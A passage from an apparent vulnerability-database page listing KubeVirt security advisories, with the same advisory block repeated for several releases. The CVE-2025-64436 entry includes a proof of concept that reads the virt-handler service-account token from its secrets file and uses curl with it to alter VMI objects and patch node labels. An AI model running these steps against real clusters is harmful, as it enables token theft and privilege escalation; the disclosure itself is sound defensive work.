              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

May 16, 2022

v0.49.0-rc.0 pre

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Jan 04, 2022

v0.48.0-rc.0 pre

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Dec 01, 2021

v0.46.1 patch

15 CVEs

CVE-2026-9804 GO-2026-5883 GHSA-mpmf-3w4r-qfpf Jul 07, 2026

KubeVirt has a Link Following issue in kubevirt.io/kubevirt

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-7374 GO-2026-5848 GHSA-7jcp-v9w4-wjmg Jul 07, 2026

KubeVirt has a Link Following vulnerability in kubevirt.io/kubevirt

Fixed in


          1.6.6


          1.7.4


          1.8.3

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-6383 GO-2026-5450 GHSA-j6cv-3w8p-vrg8 Jun 25, 2026

KubeVirt's authorization mechanism improperly truncates subresource names in kubevirt.io/kubevirt

References

Updated Jun 26, 2026 · Source: OSV.dev

CVE-2025-14525 GO-2026-4384 GHSA-25mh-hp8x-cgrv Feb 02, 2026

KubeVirt Guest Agent DoS via Excessive Network Interface Reports in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64437 GO-2025-4102 GHSA-2r4r-5x78-mvqf Nov 17, 2025

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801202148-3ce9f41c54d0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64434 GO-2025-4107 GHSA-ggp9-c99x-54gp Nov 17, 2025

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64432 GO-2025-4103 GHSA-38jw-g2qx-4286 Nov 17, 2025

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250730135146-231dc69723f3


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64433 GO-2025-4109 GHSA-qw6q-3pgr-5cwq Nov 17, 2025

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt

Fixed in


          1.5.3


          1.6.0-beta.0.0.20250801195231-a81b27d4600c


          1.6.1

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64435 GO-2025-4105 GHSA-9m94-w2vq-hcf9 Nov 17, 2025

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Fixed in


          1.7.0-beta.0

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2025-64324 GO-2025-4110 GHSA-46xp-26xh-hpqh Nov 17, 2025

KubeVirt Vulnerable to Arbitrary Host File Read and Write in kubevirt.io/kubevirt

Fixed in


          1.6.1


          1.7.0-rc.0

References

Updated Mar 25, 2026 · Source: OSV.dev

CVE-2025-64436 GHSA-7xgm-5prm-v5gc GO-2025-4104 Nov 06, 2025

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

Medium

Network Low None None

Summary

The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.

Details

Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.

Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited

Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.

PoC

By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: testvm
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: testvm
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The VMI is then created on a minikube node identified with minikube-m02:

operator@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   20s   Running   10.244.1.8   minikube-m02   True

Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.

First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:

# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods  -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh               1/1     Running   0          8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)

The attacker updates the VMI object labels in a way that makes it terminate:

# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

